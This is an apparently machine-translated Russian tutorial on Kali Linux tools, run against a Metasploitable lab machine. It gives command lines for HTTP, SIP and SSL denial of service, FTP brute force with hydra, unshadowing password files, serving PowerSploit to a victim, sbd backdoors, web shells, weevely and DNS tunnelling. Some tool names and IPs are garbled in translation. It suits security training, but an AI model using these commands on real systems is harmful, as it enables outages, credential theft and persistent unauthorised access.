Все стресс-тесты будут проводиться на metsploitable машине с IP-адресом 192.168.1.102.

Медленныйhttptest

Slowhttptest - один из инструментов DoS-атак. Он особенно использует протокол HTTP для подключения к серверу и для обеспечения занятости ресурсов, таких как ЦП и ОЗУ. Давайте посмотрим подробно, как им пользоваться, и объясним его функции.

Чтобы открыть slowhttptest, сначала откройте терминал и введите “slowhttptest –parameters”.

Вы можете ввести «slowhttptest –h», чтобы увидеть все параметры, которые вам нужно использовать. Если вы получили вывод «Команда не найдена», вам нужно сначала ввести“apt-get install slowhttptest”.

Затем после установки снова введите slowhttptest –h

Введите следующую команду -

slowhttptest -c 500 -H -g -o outputfile -i 10 -r 200 -t GET –u 
http://192.168.1.202/index.php -x 24 -p 2

Где,

  • (-c 500) = 500 связи

  • (-H) = Режим Slowloris

  • -g = Создать статистику

  • -o outputfile = Имя выходного файла

  • -i 10 = Используйте 10 секунд, чтобы дождаться данных

  • -r 200 = 200 соединений с -t GET = GET запросы

  • -u http://192.168.1.202/index.php = целевой URL

  • -x 24 = максимальная длина 24 байта

  • -p 2 = 2-секундный тайм-аут

После запуска теста выходные данные будут такими, как показано на следующем снимке экрана, где вы можете заметить, что служба доступна.

Через некоторое время на 287 подключении сервис отключается. Это означает, что сервер может обрабатывать максимум 287 HTTP-соединений.

Инвайтфлуд

Inviteflood - это рассылка сообщений SIP / SDP INVITE по UDP / IP. Он работает в различных дистрибутивах Linux. Он выполняет DoS-атаки (отказ в обслуживании) против SIP-устройств, отправляя несколько запросов INVITE.

Чтобы открыть Inviteflood, сначала откройте терминал и введите “inviteflood –parameters”

Для получения помощи вы можете использовать “inviteflood –h”

Далее вы можете использовать следующую команду -

inviteflood eth0 target_extension  target_domain target_ip number_of_packets

Где,

  • target_extension 2000

  • target_domain это 192.168.xx

  • target_ip это 192.168.xx

  • number_of_packets 1

  • -a это псевдоним учетной записи SIP

Iaxflood

Iaxflood - это инструмент DoS для VoIP. Чтобы открыть его, введите“iaxflood sourcename destinationname numpackets” в терминале.

Чтобы узнать, как использовать, введите “iaxflood –h”

thc-ssl-dos

THC-SSL-DOS - это инструмент для проверки производительности SSL. Для установления безопасного SSL-соединения требуется в 15 раз больше вычислительной мощности на сервере, чем на клиенте. THCSSL-DOS использует это свойство асимметрии, перегружая сервер и отключая его от Интернета.

Ниже приводится команда -

thc-ssl-dos victimIP httpsport –accept

В этом примере это будет -

thc-ssl-dos 192.168.1.1 443 –accept

Его вывод будет следующим -

Основная концепция инструментов сниффинга так же проста, как прослушивание телефонных разговоров, и в Kali Linux есть несколько популярных инструментов для этой цели. В этой главе мы узнаем об инструментах сниффинга и спуфинга, доступных в Kali.

Burpsuite

Burpsuite можно использовать в качестве средства перехвата между вашим браузером и веб-серверами, чтобы найти параметры, которые использует веб-приложение.

Чтобы открыть Burpsuite, перейдите в Приложения → Анализ веб-приложений → Burpsuite.

Чтобы настроить сниффинг, мы настраиваем burpsuite для работы в качестве прокси. Для этого перейдите вOptionsкак показано на следующем снимке экрана. Установите флажок, как показано.

В этом случае IP-адрес прокси будет 127.0.0.1 с портом 8080.

Затем настройте прокси-сервер браузера, который является IP-адресом машины burpsuite и портом.

Чтобы начать перехват, перейдите в Прокси → Перехват → нажмите «Перехват включен».

Продолжайте перемещаться по веб-странице, на которой вы хотите найти параметр для проверки на уязвимости.

В данном случае это метапроизводственная машина с IP 192.168.1.102.

Перейдите в «История HTTP». На следующем снимке экрана в строке, отмеченной красной стрелкой, показан последний запрос. В Raw скрытый параметр, такой как идентификатор сеанса, и другие параметры, такие как имя пользователя и пароль, подчеркнуты красным.

митмпрокси

mitmproxy- это HTTP-прокси "человек посередине" с поддержкой SSL. Он предоставляет консольный интерфейс, который позволяет отслеживать и редактировать потоки трафика на лету.

Чтобы открыть его, зайдите в терминал и введите “mitmproxy -parameter” и для получения справки по командам введите “mitmproxy –h”.

Чтобы запустить mitmproxy, введите “mitmproxy –p portnumber”. В данном случае это «mitmproxy –p 80».

Wireshark

Wireshark - один из лучших анализаторов пакетов данных. Он глубоко анализирует пакеты на уровне кадра. Вы можете получить дополнительную информацию о Wireshark на их официальной веб-странице:https://www.wireshark.org/. В Kali его можно найти по следующему пути - Applications → Sniffing & Spoofing → wirehark.

После того, как вы нажмете wirehark, откроется следующий графический интерфейс.

Нажмите «Пуск», и начнется захват пакетов, как показано на следующем снимке экрана.

sslstrip

sslstrip- это атака MITM, которая заставляет браузер жертвы обмениваться данными в виде обычного текста через HTTP, а прокси-серверы изменяют контент с сервера HTTPS. Для этого sslstrip «удаляет» https: // URL-адреса и превращает их в http: // URL.

Чтобы открыть его, перейдите в Приложения → 09-Sniffing & Spoofing → Spoofing and MITM → sslstrip.

Чтобы настроить его, напишите, чтобы перенаправить все 80-портовые коммуникации на 8080.

Затем запустите sslstrip команда для необходимого порта.

В этой главе мы узнаем о важных инструментах для взлома паролей, используемых в Kali Linux.

Гидра

Hydra - это взломщик входа в систему, который поддерживает множество атакующих протоколов (Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD, HTTP-прокси, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin , Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1 + v2 + v3, SOCKS5, SSH (v1 и v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC и XMPP) .

Чтобы открыть его, перейдите в Приложения → Парольные атаки → Онлайн-атаки → Hydra.

Откроется консоль терминала, как показано на следующем снимке экрана.

В этом случае мы будем перебирать FTP-службу метаиспользуемой машины с IP 192.168.1.101.

Мы создали в Kali список слов с расширением lst в пути usr\share\wordlist\metasploit.

Команда будет следующей -

hydra -l /usr/share/wordlists/metasploit/user -P 
/usr/share/wordlists/metasploit/ passwords ftp://192.168.1.101 –V

где –V это имя пользователя и пароль при попытке

Как показано на следующем снимке экрана, найдены имя пользователя и пароль msfadmin: msfadmin

Джонни

Johnnyпредставляет собой графический интерфейс для инструмента взлома паролей John the Ripper. Обычно он используется для слабых паролей.

Чтобы открыть его, перейдите в Приложения → Парольные атаки → Джонни.

В этом случае мы получим пароль машины Kali с помощью следующей команды, и файл будет создан на рабочем столе.

Нажмите «Открыть файл Passwd» → «ОК», и все файлы будут показаны, как на следующем снимке экрана.

Нажмите «Начать атаку».

После завершения атаки щелкните левую панель в разделе «Пароли», и пароль не будет закрашен.

Джон

john- это версия Johnny GUI для командной строки. Чтобы запустить его, откройте Терминал и введите“john”.

В случае отмены пароля нам нужно написать следующую команду -

root@kali:~# unshadow passwd shadow > unshadowed.txt

Радуга

Программа RainbowCrack взламывает хэши с помощью поиска в радужной таблице. Радужные таблицы - это обычные файлы, хранящиеся на жестком диске. Как правило, таблицы Rainbow покупаются в Интернете или могут быть составлены с помощью различных инструментов.

Чтобы открыть его, перейдите в Приложения → Атаки на пароли → нажмите «rainbowcrack».

Команда для взлома хеш-пароля -

rcrack path_to_rainbow_tables -f path_to_password_hash

SQLdict

Это инструмент атаки по словарю для SQL-сервера, который очень прост и прост в использовании. Чтобы открыть его, откройте терминал и введите“sqldict”. Откроется следующий вид.

В разделе «Целевой IP-сервер» введите IP-адрес сервера, на котором находится SQL. В разделе «Целевая учетная запись» введите имя пользователя. Затем загрузите файл с паролем и нажмите «Пуск», пока он не закончится.

хеш-идентификатор

Это инструмент, который используется для определения типов хэшей, то есть того, для чего они используются. Например, если у меня есть HASH, он может сказать мне, является ли это HASH Linux или Windows.

На приведенном выше экране показано, что это может быть хеш MD5 и, похоже, учетные данные, кэшированные доменом.

В этой главе мы увидим инструменты, которые Kali использует для поддержания соединения и доступа к взломанной машине, даже когда она снова подключается и отключается.

Powersploit

Это инструмент, предназначенный для компьютеров с Windows. На компьютере жертвы установлен PowerShell. Этот инструмент помогает хакеру подключиться к машине жертвы через PowerShell.

Чтобы открыть его, откройте терминал слева и введите следующую команду, чтобы войти в папку powersploit -

cd /usr/share/powersploit/

Если вы напечатаете “ls”он перечислит все инструменты powersploit, которые вы можете загрузить и установить на машине жертвы после того, как получите доступ. Большинство из них самоочевидны в соответствии с их именами.

Простой способ загрузить этот инструмент на машину жертвы - создать веб-сервер, который инструменты powersploit позволяют легко создавать с помощью следующей команды:

python -m SimpleHTTPServer

После этого, если вы наберете: http: // <ip_address машины Kali>: 8000 / следующий результат.

Сбд

sbd - это инструмент, похожий на Netcat. Он портативен и может использоваться на машинах Linux и Microsoft. sbd имеет шифрование AES-CBC-128 + HMAC-SHA1> По сути, он помогает подключаться к машине жертвы в любое время через определенный порт и удаленно отправлять команды.

Чтобы открыть его, зайдите в терминал и введите “sbd -l -p port” чтобы сервер принимал соединения.

В этом случае давайте поместим порт 44, на котором сервер будет слушать.

На сайте жертвы введите “sbd IPofserver port”. Будет установлено соединение, по которому мы сможем отправлять удаленные команды.

В данном случае это «localhost», поскольку мы проводили тест на той же машине.

Наконец, на сервере вы увидите, что соединение произошло, как показано на следующем снимке экрана.

Веб-оболочки

Веб-оболочки можно использовать для поддержания доступа или взлома веб-сайта. Но большинство из них обнаруживаются антивирусами. Оболочка C99 php очень хорошо известна среди антивирусов. Любой распространенный антивирус легко распознает его как вредоносное ПО.

Как правило, их основная функция - отправлять системные команды через веб-интерфейсы.

Чтобы открыть его, введите “cd /usr/share/webshells/” в терминале.

Как видите, они разделены на классы по языку программирования: asp, aspx, cfm, jsp, perl, php.

Если вы войдете в папку PHP, вы увидите все веб-оболочки для веб-страниц php.

Чтобы загрузить оболочку на веб-сервер, например “simple-backdoor.php” откройте веб-страницу и URL-адрес веб-оболочки.

В конце напишите команду cmd. У вас будет вся информация, показанная на следующем снимке экрана.

Weevely

Weevely - это веб-оболочка PHP, имитирующая соединение, подобное telnet. Это инструмент для пост-эксплуатации веб-приложений, который может использоваться как скрытый бэкдор или как веб-оболочка для управления законными учетными записями в Интернете, даже если они размещены бесплатно.

Чтобы открыть его, перейдите в терминал и введите «weevely», чтобы увидеть его использование.

Чтобы сгенерировать оболочку, введите “weevely generate password pathoffile”. Как видно на следующем снимке экрана, он создается в папке «Рабочий стол», и файл должен быть загружен на веб-сервер для получения доступа.

После загрузки веб-оболочки, как показано на следующем снимке экрана, мы можем подключиться с помощью cmd к серверу с помощью команды “weevely URL password” где видно, что сеанс начался.

http-туннель

http-tunnel создает двунаправленный виртуальный поток данных, туннелируемый в HTTP-запросах. При желании запросы могут быть отправлены через HTTP-прокси. Это может быть полезно для пользователей за ограничительными брандмауэрами. Если доступ к WWW разрешен через прокси-сервер HTTP, можно использовать http-туннель и telnet или PPP для подключения к компьютеру за пределами брандмауэра.

Во-первых, мы должны создать туннельный сервер с помощью следующей команды -

httptunnel_server –h

Затем на клиентском сайте введите “httptunnel_client –h” и оба начнут принимать соединения.

dns2tcp

Это снова инструмент туннелирования, который помогает пропускать TCP-трафик через DNS-трафик, что означает порт UDP 53.

Чтобы запустить его, введите “dns2tcpd”. Использование объясняется, когда вы откроете сценарий.

На сайте сервера введите эту команду, чтобы настроить файл.

#cat >>.dns2tcpdrc
<&l;END listen = 0.0.0.0 
port = 53 user=nobody 
chroot = /root/dns2tcp 
pid_file = /var/run/dns2tcp.pid 
domain = your domain key = secretkey 
resources = ssh:127.0.0.1:22 
END 
#dns2tcpd -f .dns2tcpdrc

На сайте клиента введите эту команду.

# cat >>.dns2tcprc 
<<END domain = your domain 
resource = ssh 
local_port = 7891 
key = secretkey 
END
# dns2tcpc -f .dns2tcprc 
# ssh root@localhost -p 7891 -D 7076

Туннелирование начнется с этой команды.

шифровальщик

Это еще один инструмент, такой как Netcat, который позволяет зашифровывать TCP и UDP-соединение с машиной жертвы.

Чтобы запустить сервер для прослушивания соединения, введите следующую команду -

cryptcat –l –p port –n

Где,

  • -l означает прослушивание соединения

  • -p обозначает параметр номера порта

  • -n означает невыполнение разрешения имен

На клиентском сайте команда подключения “cryptcat IPofServer PortofServer”

В этой главе мы узнаем об инструментах обратного проектирования Kali Linux.

OllyDbg

OllyDbg - это 32-битный отладчик для анализа на уровне ассемблера для приложений Microsoft Windows. Акцент на анализе двоичного кода делает его особенно полезным в случаях, когда исходный код недоступен. Как правило, он используется для взлома коммерческого программного обеспечения.

Чтобы открыть его, перейдите в Приложения → Обратный инжиниринг → ollydbg.

Чтобы загрузить EXE-файл, перейдите в «Открывающуюся папку» желтого цвета, которая показана в красном квадрате на скриншоте выше.

После загрузки у вас будет следующий вид, в котором вы можете изменить двоичные файлы.

dex2jar

Это приложение, которое помогает конвертировать файл APK (android) в файл JAR, чтобы просмотреть исходный код. Чтобы использовать его, откройте терминал и напишите”d2j-dex2jar –d /file location”.

В этом случае файл “classes.dex” на рабочем столе.

Следующая строка показывает, что файл JAR был создан.

jd-gui

JD-GUI - это автономная графическая утилита, отображающая исходные коды Java “.class”файлы. Вы можете просмотреть восстановленный исходный код. В этом случае мы можем восстановить файл, извлеченный из инструмента dex2jar.

Для его запуска откройте терминал и напишите “jd-gui” и откроется следующий вид.

Чтобы импортировать файл, щелкните значок открытой папки

в левом верхнем углу и затем импортируйте файл.

apktool

Apktool - один из лучших инструментов для изменения всего приложения Android. Он может декодировать ресурсы почти до первоначальной формы и восстанавливать их после внесения изменений.

Чтобы открыть его, зайдите в терминал и напишите “ apktool”.

Чтобы декомпилировать файл apk, напишите «apktool d apk file”.

Декомпиляция начнется, как показано на следующем снимке экрана.

В этой главе мы узнаем о некоторых инструментах отчетности в Kali Linux.

Драдис

Во всей этой работе, которую мы выполнили, важно делиться полученными результатами, отслеживать нашу работу и т. Д. Для этой цели в Kali есть инструмент отчетности под названием dradis, который представляет собой веб-службу.

Step 1 - Чтобы запустить Dradis, введите “service dradis start”.

Step 2 - Чтобы открыть, перейдите в Приложения → Инструменты отчетности → dradis.

Веб-адрес откроется. Любой в локальной сети может открыть его по следующему URL-адресуhttps://IP Кали машины: 3004

Войдите в систему, используя имя пользователя и пароль, которые использовались впервые.

Step 3- После входа в систему вы можете импортировать файлы из NMAP, NESSUS, NEXPOSE. Для этого перейдите в «Импортировать из файла» → нажмите «Новый импортер (с обратной связью в реальном времени)».

Step 4- Выберите тип файла, который вы хотите загрузить. В данном случае это «сканирование Nessus» → нажмите «Обзор».

Если вы сейчас перейдете на домашнюю страницу, на левой панели вы увидите, что импортированные отсканированные изображения находятся в папке с данными их хоста и порта.

Метагофил

Metagoofil выполняет поиск в Google для идентификации и загрузки документов на локальный диск, а затем извлекает метаданные. Он извлекает метаданные из публичных документов, принадлежащих конкретной компании, физическому лицу, объекту и т. Д.

Чтобы открыть его, перейдите по ссылке: “usr/share/metagoofil/”.

Чтобы начать поиск, введите следующую команду -

python metagoofil.py

Вы можете использовать следующие параметры с этой командой -

  • –d (доменное имя)

  • –t (тип файла для загрузки dox, pdf и т. д.)

  • –l (ограничить результаты 10, 100)

  • –n (ограничить скачивание файлов)

  • –o (место для сохранения файлов)

  • –f (выходной файл)

В следующем примере показано, что скрыто только доменное имя.